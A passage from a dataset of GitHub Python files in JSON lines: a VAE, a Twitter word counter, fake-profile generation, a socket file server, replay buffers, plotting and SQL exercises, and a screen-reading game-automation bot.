samples\n :param mu: z mean, None for prior (init with zeros)\n :param logvar: z logstd, None for prior (init with zeros)\n :return:\n '''\n if mu == None:\n mu = torch.zeros((sample_size, self.latent_dim)).to(self.device)\n if logvar == None:\n logvar = torch.zeros((sample_size, self.latent_dim)).to(self.device)\n if mu is not None and logvar is not None:\n z = self.z_sample(mu, logvar)\n else:\n z = torch.randn(sample_size, self.latent_dim)\n return self.decoder(z)\n\n def z_sample(self, mu, logvar):\n std = torch.exp(0.5 * logvar)\n sample = torch.randn_like(std)\n z = sample * std + mu\n return z\n\n def loss(self, x, recon, mu, logvar):\n recons_loss = nn.functional.binary_cross_entropy(recon, x, reduction='sum')\n kl_loss = torch.sum(-0.5 * torch.sum(1 + logvar - mu ** 2 - logvar.exp(), dim=1), dim=0)\n loss = recons_loss + kl_loss\n return loss\n\n def forward(self, x):\n x = x.to(self.device)\n encoded = self.encoder(x)\n mu, logvar = self.mu(encoded), self.logvar(encoded)\n z = self.z_sample(mu, logvar)\n recon = self.decoder(z)\n loss = self.loss(x, recon, mu, logvar)\n return loss\n","repo_name":"elronbandel/simple-vae","sub_path":"VAE.py","file_name":"VAE.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69817973203","text":"from text_mining import TextCleaner\nimport tweepy\nimport click\nfrom pathlib import Path\nfrom dotenv import load_dotenv\nfrom tweepy.error import TweepError\nimport os\nimport pandas as pd\nfrom datetime import datetime\nload_dotenv()\n\n\nconsumer_key = os.getenv('consumer_key')\nconsumer_secret = os.getenv('consumer_secret')\naccess_token = os.getenv('access_token')\naccess_token_secret = os.getenv('access_token_secret')\n\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\nfilepath = Path(Path(__file__).resolve()).parent\n\ndef user_collection(top_words_df):\n file = f\"{filepath}/user_collection.csv\"\n if os.path.exists(file):\n col = pd.read_csv(file)\n col = pd.concat([col, top_words_df], axis=0)\n col.to_csv(file, index=False)\n else:\n top_words_df.to_csv(file, index=False)\n\ndef keywords_collection(top_words_df):\n file = f\"{filepath}/keyword_collection.csv\"\n if os.path.exists(file):\n col = pd.read_csv(file)\n col = pd.concat([col, top_words_df], axis=0)\n col.to_csv(file, index=False)\n else:\n top_words_df.to_csv(file, index=False)\n\n\ndef get_top_words(user_name=None, keywords=None, min_freq=1):\n # collecting tweets\n try:\n api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\n if user_name is not None:\n print(f\"tweet summary for @{user_name}:\")\n tweets = api.user_timeline(screen_name=user_name, count=100)\n else:\n print(f\"tweet summary for '{keywords}':\")\n tweets = api.search(q=keywords, count=100, result_type='recent')\n except TweepError as e:\n error_code = eval(str(e))[0]['code']\n if str(error_code) == '34':\n print('page does not exist')\n return None\n else:\n raise TweepError(e)\n\n all_tweets = []\n for i in tweets:\n status = api.get_status(i.id, tweet_mode=\"extended\")\n text = status.full_text\n text = \" \".join(list(set(text.split())))\n all_tweets.append(text)\n\n all_tweets = \" \".join(all_tweets)\n all_tweets = \" \".join([i for i in all_tweets.split() if '@' not in i])\n all_tweets = \" \".join([i for i in all_tweets.split() if '_' not in i])\n\n # text cleaning\n cleaner = TextCleaner()\n clean_df = cleaner.get_clean_text(text=all_tweets)\n clean_df = clean_df[clean_df['count'] > min_freq]\n\n if user_name is not None:\n clean_df['username'] = user_name\n elif keywords is not None:\n clean_df = clean_df[~clean_df.word.isin(keywords.lower().split())]\n clean_df['keywords'] = keywords\n\n clean_df = clean_df.head(10)\n\n # add time\n today = datetime.now()\n date = f\"{today.year}{today.strftime('%m')}{today.strftime('%d')}\"\n time = f\"{today.hour:02d}:{today.minute:02d}\"\n clean_df['report_date'] = date\n clean_df['time'] = time\n\n return clean_df\n\n@click.command()\n@click.option('--username', '-u')\n@click.option('--search', '-s')\ndef main(username, search):\n if username is not None and search is not None:\n raise Exception('what?')\n elif username is not None:\n top_words = get_top_words(user_name=username)\n user_collection(top_words_df=top_words)\n click.echo(top_words)\n else:\n top_words = get_top_words(keywords=search)\n keywords_collection(top_words_df=top_words)\n click.echo(top_words)\n\nif __name__ == '__main__':\n main()","repo_name":"gitfarhan/kowalski_lite","sub_path":"kowalski_lite.py","file_name":"kowalski_lite.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"3"} +{"seq_id":"28676796840","text":"import numpy as np\nimport datetime\nimport json\n\nimport random\n\nfrom faker import Faker\nfrom faker.providers import BaseProvider\n\nDEFAULT_WEIGHT = random.uniform(0, 1)\n\nclass Provider(BaseProvider):\n\n genders = ['male']*10+['female']*10+['mtf','ftm','gnc', '']\n\n age_groups = ['<17', '18-24', '25-34', '35-44',\n '45-54', '55-64', '65-74', '>75']\n\n def gender(self):\n\n return {'field': 'gender',\n 'values': [self.random_element(Provider.genders)],\n 'values_not_in': [],\n 'conflicts_with': [],\n 'weight': None}\n\n def gender_preference(self):\n\n # this is pretty arbitrary, probably need a bultin same-gender\n # preference\n pref = set(self.random_elements(Provider.genders,length=5))\n\n # need to subset this and \n nope = set(Provider.genders) - pref\n\n return {'field': 'gender_preference',\n 'values': list(pref),\n 'values_not_in': list(nope),\n 'conflicts_with': ['gender'],\n 'weight': DEFAULT_WEIGHT}\n\n def age(self,age):\n\n ages = Provider.age_groups\n indx = ages.index(age)\n\n # some hacky way of handling age preferences:\n # everyone wants a roommate within 20 years of their age group\n if indx == 0:\n not_allowed = ages[indx+1:]\n elif indx == 7:\n not_allowed = ages[:indx-2]\n else:\n not_allowed = ages[0:indx-1] + ages[indx+1:]\n\n return {'field': 'age',\n 'values': [age],\n 'values_not_in': not_allowed,\n 'conflicts_with': ['age'],\n 'weight': DEFAULT_WEIGHT/2.}\n\n def add_age_group(self, bdate):\n\n age = datetime.datetime.now().date() - bdate\n age = age.days/365.25\n\n age_groups = Provider.age_groups\n\n if age < 18:\n return age_groups[0]\n elif age >= 18 and age < 25:\n return age_groups[1]\n elif age >= 25 and age < 35:\n return age_groups[2]\n elif age >= 35 and age < 45:\n return age_groups[3]\n elif age >= 45 and age < 55:\n return age_groups[4]\n elif age >= 55 and age < 65:\n return age_groups[5]\n elif age >= 65 and age < 75:\n return age_groups[6]\n elif age >= 75:\n return age_groups[7]\n else:\n raise ValueError(\"Invalid age.\")\n\n def kids(self):\n\n return {\"field\": 'kids',\n 'value': [self.random_element([True]+[False]*4)],\n 'value_not_in': [self.random_element([True]*3+[False])],\n 'conflicts_with': ['kids'],\n 'weight': DEFAULT_WEIGHT/3.}\n\n\n def drugs(self):\n\n drugs = ['marijuana', 'tobacco', 'alcohol','None']\n\n\n return {\"field\": 'kids',\n 'value': [self.random_element(drugs)],\n 'value_not_in': [self.random_element(drugs)],\n 'conflicts_with': ['drugs'],\n 'weight': DEFAULT_WEIGHT/3.}\n\n def basics(self,profile):\n\n age_group = self.add_age_group(profile['birthdate'])\n profile['birthdate'] = str(profile['birthdate'])\n profile['age_group'] = age_group\n profile['field'] = 'basics'\n\n del profile['address']\n del profile['username']\n del profile['mail']\n\n return profile\n\n def build_profile(self, *args):\n\n full_profile = {}\n for d in args:\n field = d['field']\n del d['field']\n full_profile[field] = d\n\n return full_profile\n\ndef main():\n\n fake = Faker()\n fake.add_provider(Provider)\n\n #with open('data.txt', 'r+') as outfile:\n for i in range(10):\n basic_profile = fake.simple_profile()\n basic_profile = fake.basics(basic_profile)\n profile = fake.build_profile(basic_profile,fake.gender(),fake.gender_preference(),\n fake.age(basic_profile['age_group']),fake.kids(),\n fake.drugs())\n print(profile)\n \n # json.dump(profile, outfile)\n # outfile.write('\\n')\n\nif __name__ == '__main__':\n main()\n","repo_name":"KarlenS/hackforla-sidebar","sub_path":"shared-housing/fakeit4ivan.py","file_name":"fakeit4ivan.py","file_ext":"py","file_size_in_byte":4222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16907514221","text":"import torch\nfrom pixelnet import segnet\nimport glog\nfrom pixelnet.helper import Colors\nimport numpy as np\n\nmodel_path = '/local/feixh/Dropbox/Data/VISMA/trained_models/edge/segnet_epoch0009.pth'\n\nstats = {'mean': [0.485, 0.456, 0.406],\n 'std': [0.229, 0.224, 0.225]}\n\n\ndef load_model():\n \"\"\"\n Load SegNet trained for edge detection.\n :return: network and stats of dataset\n \"\"\"\n net = segnet.SegNet(n_classes=1,\n in_channels=3,\n is_unpooling=True,\n pretrained=False)\n net.cuda()\n tmp = torch.load(model_path)\n net.load_state_dict(tmp['net'])\n start_epoch = tmp['epoch']+1\n loss = tmp['loss']\n glog.info('model trained up to epoch {} with loss {:0.4f} loaded'.format(start_epoch-1, loss))\n net.eval() # test mode\n\n return net\n\n\ndef convert_image_to_tensor(img):\n \"\"\"\n Convert an RGB image to a tensor of NCHW form.\n :param img: input RGB image\n :return: NCHW tensor\n \"\"\"\n return torch.from_numpy(img.swapaxes(1, 2).swapaxes(0, 1)[np.newaxis, ...])\n\n\ndef normalize_image(img):\n \"\"\"\n Normalize an image such that intensity ~ N(0, 1)\n :param img: input image\n :return: normalized image\n \"\"\"\n if img.max() <= 1:\n glog.warn(Colors.yellow('intensity value already in [0, 1]?'))\n else:\n normalized_image = img.astype('f') / 255\n\n for i in range(3):\n normalized_image[..., i] = (normalized_image[..., i] - stats['mean'][i]) / stats['std'][i]\n return normalized_image\n","repo_name":"feixh/VISMA-tracker","sub_path":"scripts/network_utils.py","file_name":"network_utils.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"3"} +{"seq_id":"38576545437","text":"# server2.py\nimport os\nimport os.path\nimport socket\nfrom threading import Thread\nfrom socketserver import ThreadingMixIn\nimport pymysql\nimport pymysql.cursors\nfrom NetworkCore import Protocol, Transaction, ResponseCode, Comunication\n\ndef startConnection():\n return pymysql.connect(host='localhost',\n user='dev',\n password='123456',\n db='python_socket',\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor)\n\ndef sign(username, password):\n conn = startConnection()\n with conn.cursor() as cursor:\n sql = \"SELECT `username` from `user` where `username`=%s and `password`=%s\"\n cursor.execute(sql, (username, password))\n result = cursor.fetchone()\n conn.close()\n return type(result) == dict and len(result) >= 1\n \n conn.close()\n return False\n\nclass ClientThread(Thread):\n ip = 0\n port = 0\n transaction = None\n server = None\n\n def __init__(self, constructor):\n Thread.__init__(self)\n self.ip = constructor.ip\n self.port = constructor.port\n self.transaction = constructor.transaction\n self.server = constructor.server\n self.isAuthenticated = False\n self.username = \"\"\n\n def auth(self, protocol):\n data = protocol.message.split(\":\")\n self.isAuthenticated = sign(data[0], data[1])\n if self.isAuthenticated:\n self.username = data[0]\n return Comunication.accepted()\n \n return Comunication.notPermitted()\n \n def path(self):\n if self.isAuthenticated:\n return \"public/\"+str(self.username)+\"/\"\n return \"public/\"\n\n def listFiles(self):\n path = self.path()\n onlyfiles = \";\".join([f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))])\n return Comunication.send(Protocol.data(onlyfiles.encode()))\n\n def asUser(self, protocol):\n if protocol.code == ResponseCode.logout:\n self.isAuthenticated = False\n self.username = \"\"\n return Comunication.accepted()\n if protocol.code == ResponseCode.send:\n if len(protocol.message.split(\"/\")) >= 2:\n return self.transaction.refused()\n\n return self.transaction.send(self.path()+protocol.message)\n\n if protocol.code == ResponseCode.receive:\n if len(protocol.message.split(\"/\")) >= 2:\n return self.transaction.refused()\n\n return self.transaction.receive(self.path()+protocol.message)\n\n if protocol.code == ResponseCode.listFiles:\n return self.listFiles()\n \n def asGuest(self, protocol):\n if protocol.code == ResponseCode.auth:\n return self.auth(protocol)\n\n return Comunication.send(Protocol.notPermitted())\n\n def didReceived(self, protocol):\n if self.isAuthenticated:\n toCommit = self.asUser(protocol)\n else:\n toCommit = self.asGuest(protocol)\n\n if not toCommit:\n self.transaction.commit(Comunication.refused())\n return\n \n if type(toCommit) == Comunication:\n self.transaction.commit(toCommit)\n \n def observe(self):\n protocol = self.transaction.waitForResponse()\n if not protocol:\n self.transaction.commit(Comunication.send(Protocol.cutConnection()))\n return False\n\n print(protocol.asRaw())\n self.didReceived(protocol)\n return True\n\n def run(self):\n while True:\n if not self.observe():\n break\n self.server.close(self)\n \n @staticmethod\n def open(ip, port):\n return ClientConstructor(ip, port)\n\nclass ClientConstructor:\n ip = 0\n port = 0\n transaction = None\n server = None\n\n def __init__(self, ip, port):\n self.ip = ip\n self.port = port\n self.transaction = None\n self.server = None\n \n def andConnection(self, conn):\n self.transaction = Transaction(conn)\n return self\n \n def shared(self, server):\n self.server = server\n return self\n \n def create(self):\n return ClientThread(self)\n\nclass ServerTransaction(Transaction):\n threads = []\n name = \"\"\n port = 0\n\n @classmethod\n def main(self):\n return self.tcp(\"localhost\", 9000)\n\n @classmethod\n def udp(self, ip, port):\n t = self(socket.socket(socket.AF_INET, socket.SOCK_DGRAM))\n t.provider.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n t.provider.bind((ip, port))\n return t\n\n @classmethod\n def tcp(self, ip, port):\n t = self(socket.socket(socket.AF_INET, socket.SOCK_STREAM))\n t.provider.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n t.provider.bind((ip, port))\n return t\n\n def listen(self, integer):\n self.provider.listen(integer)\n\n def updateThreads(self, thread):\n thread.start()\n self.threads.append(thread)\n\n def createThread(self, ip, port, conn):\n return ClientThread.open(ip, port).andConnection(conn).shared(self).create()\n\n def accept(self):\n (conn, (ip,port)) = self.provider.accept()\n print('Got connection from ', (ip,port))\n self.updateThreads(self.createThread(ip, port, conn))\n \n def close(self, thread):\n thread.transaction.close()\n self.threads = list(filter(lambda x: x != thread, self.threads))\n\n @staticmethod\n def start(server):\n print(server)\n while True:\n try:\n server.listen(5)\n except: pass\n print(\"Waiting for incoming connections...\")\n server.accept()\n \n for t in server.threads:\n t.join()\n","repo_name":"brennobemoura/socket-communication","sub_path":"ServerCore.py","file_name":"ServerCore.py","file_ext":"py","file_size_in_byte":5859,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"39965500203","text":"def VerificarSiCentroNumerico(p_candidato):\n sumaIzq = 0\n for numerosIzq in range(1, p_candidato):\n sumaIzq = sumaIzq + numerosIzq \n\n numeroDerecha = p_candidato + 1\n \n while sumaIzq > 0:\n sumaIzq = sumaIzq - numeroDerecha\n numeroDerecha = numeroDerecha + 1\n\n if sumaIzq == 0:\n return True\n else:\n return False\n \n \ncuantosCentrosNumericos = 5\ncandidato = 2\n\nwhile cuantosCentrosNumericos > 0:\n if VerificarSiCentroNumerico(candidato) == True:\n cuantosCentrosNumericos = cuantosCentrosNumericos - 1\n print(candidato)\n\n candidato = candidato + 1\n\ninput(\"Press ENTER to EXIT\")","repo_name":"DaniGarPe/Curso_Python","sub_path":"CentrosNumericos.py","file_name":"CentrosNumericos.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29650240507","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Python [Version]\n#\n# Author: Coumes Quentin Mail: qcoumes@etud.u-pem.fr\n# Created: 2017-07-05\n# Last Modified: 2017-07-05\n\n\nimport json\n\nfrom django.http import HttpResponse\n\nfrom gitload.models import PL\n\nfrom playexo.models import Answer\n\n\ndef ajax(request, exercise):\n status = json.loads(request.body.decode())\n if status['requested_action'] == 'submit': # Validate\n success, feedback = exercise.evaluate(status['inputs'])\n if 'answer' in status['inputs']:\n value = status['inputs']['answer']\n else:\n value = \"\"\n if success == None:\n feedback_type = \"info\"\n Answer(value=value, user=request.user, pl=PL.objects.get(sha1=exercise.dic['pl_sha1']), seed=exercise.dic['seed'], state=Answer.STARTED).save()\n elif success:\n feedback_type = \"success\"\n Answer(value=value, user=request.user, pl=PL.objects.get(sha1=exercise.dic['pl_sha1']), seed=exercise.dic['seed'], state=Answer.SUCCEEDED).save()\n else:\n feedback_type = \"fail\"\n Answer(value=value, user=request.user, pl=PL.objects.get(sha1=exercise.dic['pl_sha1']), seed=exercise.dic['seed'], state=Answer.FAILED).save()\n return HttpResponse(json.dumps({'feedback_type': feedback_type, 'feedback': feedback}), content_type='application/json')\n \n elif status['requested_action'] == 'save': # Save\n if 'answer' in status['inputs']:\n value = status['inputs']['answer']\n else:\n value = \"\"\n Answer(value=value, user=request.user, pl=PL.objects.get(sha1=exercise.dic['pl_sha1']), seed=exercise.dic['seed'], state=Answer.STARTED).save()\n return HttpResponse(json.dumps({'feedback_type': \"info\", 'feedback': \"Votre réponse à bien été enregistrée.\"}), content_type='application/json')\n\n return None # Not an AJAX request\n\n\n\ndef next_pl(activity_id):\n try:\n pl_sha1 = None\n activity = Activity.objects.get(id=activity_id)\n pl = activity.pltp.pl.all()\n current = False\n for item in pl:\n if item.sha1 == exercise.dic[\"pl_sha1\"]:\n current = True\n elif current:\n pl_sha1 = item.sha1\n break\n except Exception as e:\n raise Http404(\"Impossible d'accéder à l'exercice suivant (\"+str(e)+\"). Merci de contacter votre professeur.\")\n \n return None if not pl_sha1 else pl_sha1\n\n\n\ndef load_exercise(request, activity_id, pl_sha1=None):\n seed = None\n activity = Activity.objects.get(id=activity_id)\n pl = None\n if pl_sha1:\n pl = PL.objects.get(sha1=pl_sha1)\n dic = json.loads(pl.json)\n try:\n if \"oneshot\" not in dic: # Retrieving seed if the user already answered once this PL\n seed = Answer.objects.filter(user=request.user, pl=pl)[0].seed\n except: #No existing answer\n pass\n exercise = PythonBuilder(request, activity, pl, seed).get_exercise()\n request.session['exercise'] = exercise.dic\n return redirect(activity_view) # Remove get parameters from url\n","repo_name":"nadar93/LMS","sub_path":"premierlangage-master/server/serverpl/playexo/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27961829653","text":"# 9. Palindrome checking\n\n# Input : 1221\n# Output : Palindrome\n\n# Method 1: Using String Slicing\ninp = input(\"Enter the Input: \")\nrev = str(inp[::-1])\n\nif inp == rev:\n print(inp, \"is Palindrome\")\nelse:\n print(inp, \"is not a Palindrome\")\n","repo_name":"TheThunderB0lt/100-Days_Challenge","sub_path":"5. Top 100 Codes/9. Palindrome.py","file_name":"9. Palindrome.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"31242494471","text":"import random\nfrom collections import namedtuple\n\nTransition = namedtuple('Transition', ('state', 'action', 'next_state', 'reward'))\n\nclass ReplayMemory(object):\n\n def __init__(self, capacity):\n self.capacity = capacity\n self.memory = []\n self.position = 0\n\n def push(self, *args):\n \"\"\"Saves a transition.\"\"\"\n if len(self.memory) < self.capacity:\n self.memory.append(None)\n self.memory[self.position] = Transition(*args)\n self.position = (self.position + 1) % self.capacity\n\n def sample(self, batch_size):\n return random.sample(self.memory, batch_size)\n \n def pull(self):\n #memory = self.memory[::-1]\n memory = self.memory\n self.memory = []\n self.position = 0\n return memory\n\n def __len__(self):\n return len(self.memory)\n\nTransition_Comm = namedtuple('Transition_Comm', ('state', 'action', 'next_state', 'reward', 'medium', 'comm_action', 'comm_reward', 'prev_action', 'prev_medium'))\n\nclass ReplayMemoryComm(ReplayMemory):\n\n def push(self, *args):\n \"\"\"Saves a transition.\"\"\"\n if len(self.memory) < self.capacity:\n self.memory.append(None)\n self.memory[self.position] = Transition_Comm(*args)\n self.position = (self.position + 1) % self.capacity\n\nTransition_Comm_Lstm = namedtuple('Transition_Comm', ('state', 'action', 'next_state', 'reward', 'medium', 'comm_action', 'comm_reward', 'comm_context', 'next_comm_context', 'prev_action'))\n\nclass ReplayMemoryCommLstm(ReplayMemory):\n\n def push(self, *args):\n \"\"\"Saves a transition.\"\"\"\n if len(self.memory) < self.capacity:\n self.memory.append(None)\n self.memory[self.position] = Transition_Comm_Lstm(*args)\n self.position = (self.position + 1) % self.capacity\n","repo_name":"ozcell/multiagent-communication","sub_path":"macomm/experience.py","file_name":"experience.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15977992790","text":"import numpy as np\nimport pandas as pd\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\nimport seaborn.objects as so\n\nimport scienceplots\n\n# Get data\nprint(\"Getting Data\")\nRL_data = pd.read_csv(\"data/gymCopter-Hover3DV28-fault-0_75-passive-p_sigma-0_5-a_sigma-0_2-1680339074-faulty.csv\")\nPID_data = pd.read_csv(\"data/gymCopter-Hover3DV28-fault-0_75-PID-faulty.csv\")\n\n# Data cleaning\nprint(\"Cleaning Data\")\n\n# Multiply z to be positive upwards\nRL_data.loc[:, \"z\"] *= -1\nPID_data.loc[:, \"z\"] *= -1\n\n# Convert angles to degrees\nRL_data.loc[:, [\"phi\", \"theta\", \"psi\"]] *= 180 / np.pi\nPID_data.loc[:, [\"phi\", \"theta\", \"psi\"]] *= 180 / np.pi\n\n\n\n\nsymbols = [\n \"x\",\n \"y\",\n \"z\",\n \"\\phi\",\n \"\\\\theta\",\n \"\\psi\",\n]\n\nylims = [\n [-10, 10],\n [-10, 10],\n [-0.5, 10],\n [-90, 90],\n [-90, 90],\n [-90, 90],\n]\nylabels = [\n f\"${symbols[0]}$ Position [m]\",\n f\"${symbols[1]}$ Position [m]\",\n f\"${symbols[2]}$ Position [m]\",\n f\"${symbols[3]}$ Angle [degree]\",\n f\"${symbols[4]}$ Angle [degree]\",\n f\"${symbols[5]}$ Angle [degree]\",\n]\n\nreference_signals = [\n [[0, 50], [0, 0]],\n [[0, 50], [0, 0]],\n [[0, 0, 50], [8, 5, 5]],\n [[0, 50], [0, 0]],\n [[0, 50], [0, 0]],\n [],\n]\n\nplt.style.use(['science', 'grid', 'high-vis'])\n\nrows = 2\ncols = 3\n\nfigure, ax = plt.subplots(rows, cols, figsize=(13, 6.5),sharex='row')\n\ni = 0\n\nprint(\"Plotting Data\")\nfor row in range(rows):\n for col in range(cols):\n if i != 5:\n ax[row, col].plot(reference_signals[i][0], reference_signals[i][1],\n label=\"$\" + symbols[i] + \"_{ref}$\")\n\n next(ax[row, col]._get_lines.prop_cycler) if i == 5 else None\n\n ax[row, col].plot(RL_data.iloc[:, 1], RL_data.iloc[:, i + 2],\n label=\"$\" + symbols[i] + \"_{RL}$\")\n ax[row, col].plot(PID_data.iloc[:, 1], PID_data.iloc[:, i + 2],\n label=\"$\" + symbols[i] + \"_{PID}$\")\n\n final_point = PID_data.iloc[-1, [1, i + 2]]\n ax[row, col].plot(final_point[0], final_point[1], 'x')\n\n ax[row, col].set_xlabel(\"Time [s]\", fontsize=8) if i >= 3 else None\n ax[row, col].set_ylabel(ylabels[i], fontsize=8)\n ax[row, col].set_ylim(ylims[i])\n ax[row, col].tick_params(axis='both', which='major', labelsize=8)\n ax[row, col].legend(fontsize=8, fancybox=False, edgecolor='black')\n\n i += 1\n\nplt.suptitle(\"Position and Attitude Response of Model $A$ with $m_1 = 0.75$ and $m_2 = m_3 = m_4 = 1$\")\n\n# plt.savefig('images/Hover3DV28-fault-0_75-passive-faulty.png', dpi=300)\nplt.show()\n\nprint(\"Closing Plots\")\nplt.close(figure)\n","repo_name":"fidhalkotta/gym-copter-FTC","sub_path":"drl/plot_data.py","file_name":"plot_data.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15143226446","text":"'''\n\n Create a statement for bulk insert into the census table. To do this, just use insert() and census.\n Create an empty list called values_list and a variable called total_rowcount that is set to 0.\n Within the for loop:\n Complete the data dictionary by filling in the values for each of the keys. The values are contained in row. row[0] represents the value for 'state', row[1] represents the value for 'sex', and so on.\n Append data to values_list.\n If 51 cleanly divides into the current idx:\n Execute stmt with the values_list and save it as results.\n Hit 'Submit Answer' to print total_rowcount when done with all the records.\n\n'''\n# Create a insert statement for census: stmt\nstmt = insert(census)\n\n# Create an empty list and zeroed row count: values_list, total_rowcount\nvalues_list = []\ntotal_rowcount = 0\n\n# Enumerate the rows of csv_reader\nfor idx, row in enumerate(csv_reader):\n #create data and append to values_list\n data = {'state': row[0], 'sex': row[1], 'age': row[2], 'pop2000': row[3],\n 'pop2008': row[4]}\n values_list.append(data)\n\n # Check to see if divisible by 51\n if idx % 51 == 0:\n results = connection.execute(stmt, values_list)\n total_rowcount += results.rowcount\n values_list = []\n\n# Print total rowcount\nprint(total_rowcount)\n","repo_name":"JohnnyFang/datacamp","sub_path":"12-Introduction-to-Databases-in-Python/04-creating-and-manipulating-your-own-dbs/04-loading-a-csv-into-a-table.py","file_name":"04-loading-a-csv-into-a-table.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"74998008726","text":"from time import sleep\nimport pyautogui\nimport myKeyboard\nimport cv2\nimport sys\nimport numpy as np\nimport pytesseract\nfrom PIL import ImageGrab\n\nLOOT_KEY=\"F12\"\nRESTING_TIME=10\nPOTION_THRASHOLD=2000\nREVIVE_THRASHOLD=900\nPOTION_TYPE=\"ultra\"\nPOKEBALL_TYPE=\"super\"\nPOKEBALL_SHINY_TYPE=\"ultra\"\nFOOD_TYPE=\"pizza\"\nMY_POKE_NAME='pikachu'\nPOKE_IMAGE_REGION=((50, 75, 0, 0))\n\nbotWormsCount = 0\nshinyCatchCount = 0\npokeCatchCount = 0\ntotalBattleCount = 0\nattackList = ['sealeo', 'poliwhirl', 'goldeen', 'seadra', 'seaking', 'spheal', 'seel', 'chinchou', 'magikarp']\ncatchList = ['sealeo', 'poliwhirl', 'seadra','seaking', 'shiny_seadra', 'shiny_tentacool', 'shiny_krabby',]\nskillList = [\"F5\", \"F9\", \"F1\", \"F2\", \"F3\", \"F4\", \"F6\", \"F7\", \"F8\"]\n\ndef charIsFishing():\n leftFishing = pyautogui.locateOnScreen(\"assets/char-skin/fishing_left.jpg\", region=getCenterScreenRegion(400), confidence=0.9)\n rightFishing = pyautogui.locateOnScreen(\"assets/char-skin/fishing_right.jpg\", region=getCenterScreenRegion(400), confidence=0.9)\n southFishing = pyautogui.locateOnScreen(\"assets/char-skin/fishing_south.jpg\", region=getCenterScreenRegion(400), confidence=0.9)\n northFishing = pyautogui.locateOnScreen(\"assets/char-skin/fishing_north.jpg\", region=getCenterScreenRegion(400), confidence=0.9)\n if leftFishing != None:\n return leftFishing\n elif rightFishing != None:\n return rightFishing\n elif southFishing != None:\n return southFishing\n elif northFishing != None:\n return northFishing\n else:\n return None\n\ndef getAttackingPokemonRegion(pokeName):\n original_image = cv2.imread(f\"assets/attack/{pokeName}_battle.jpg\")\n _, original_image_bw = cv2.threshold(original_image, 86, 255, cv2.THRESH_BINARY)\n cv2.imwrite(\"assets/temp/current_attack_poke_binary.jpg\", original_image_bw)\n\n imagem_alvo = cv2.imread(\"assets/temp/current_attack_poke_binary.jpg\")\n\n tela = pyautogui.screenshot(region=BPREGION)\n imagem_tela = np.array(tela)\n imagem_tela_rgb = cv2.cvtColor(imagem_tela, cv2.COLOR_BGR2RGB)\n\n limite_inferior = np.array([0, 0, 100])\n limite_superior = np.array([100, 100, 255])\n\n mascara_vermelha = cv2.inRange(imagem_tela_rgb, limite_inferior, limite_superior)\n\n imagem_tela_mascarada = cv2.bitwise_and(imagem_tela, imagem_tela, mask=mascara_vermelha)\n\n resultado = cv2.matchTemplate(imagem_tela_mascarada, imagem_alvo, cv2.TM_CCOEFF_NORMED)\n _, max_val, _, max_loc = cv2.minMaxLoc(resultado)\n\n limite_confianca = 0.32\n\n if max_val >= limite_confianca:\n x, y = max_loc\n w, h = imagem_alvo.shape[1], imagem_alvo.shape[0]\n return [x, y, w, h]\n else:\n return None\n\ndef getMyPokeBattleRegion():\n return pyautogui.locateOnScreen(f\"assets/attack/{MY_POKE_NAME}_battle.jpg\", region=BPREGION, confidence=0.90)\n\ndef getCenterScreenRegion(size):\n largura, altura = pyautogui.size()\n centro_x = largura // 2\n centro_y = altura // 2\n x = centro_x - size // 2\n y = centro_y - size // 2\n x2 = x + size\n y2 = y + size\n return (x, y, x2, y2)\n\ndef extractPokemonLife():\n tela = ImageGrab.grab()\n\n imagem = cv2.cvtColor(np.array(tela), cv2.COLOR_RGB2BGR)\n\n roi_x, roi_y, roi_largura, roi_altura = LIFEREGION\n roi = imagem[roi_y:roi_y+roi_altura, roi_x:roi_x+roi_largura]\n\n largura_aumentada = 2 * roi_largura \n altura_aumentada = 2 * roi_altura \n roi_aumentada = cv2.resize(roi, (largura_aumentada, altura_aumentada))\n\n roi_cinza = cv2.cvtColor(roi_aumentada, cv2.COLOR_BGR2GRAY)\n\n _, thresholded = cv2.threshold(roi_cinza, 185, 255, cv2.THRESH_BINARY)\n\n kernel = np.ones((3, 2), np.uint8)\n thresholded = cv2.dilate(thresholded, kernel, iterations=1)\n kernel = np.ones((1, 2), np.uint8)\n thresholded = cv2.erode(thresholded, kernel, iterations=1)\n\n vida = pytesseract.image_to_string(thresholded, config='--oem 3 --psm 6')\n vida = vida.split('/')[0]\n\n try:\n lifeNum = int(vida)\n except:\n lifeNum = 99999999\n\n return lifeNum\n\ndef clickOnScreen(SQM, clickType = 'left'):\n position_x, position_y = pyautogui.center(SQM)\n pyautogui.moveTo(position_x, position_y, 0.1)\n if clickType == 'left':\n 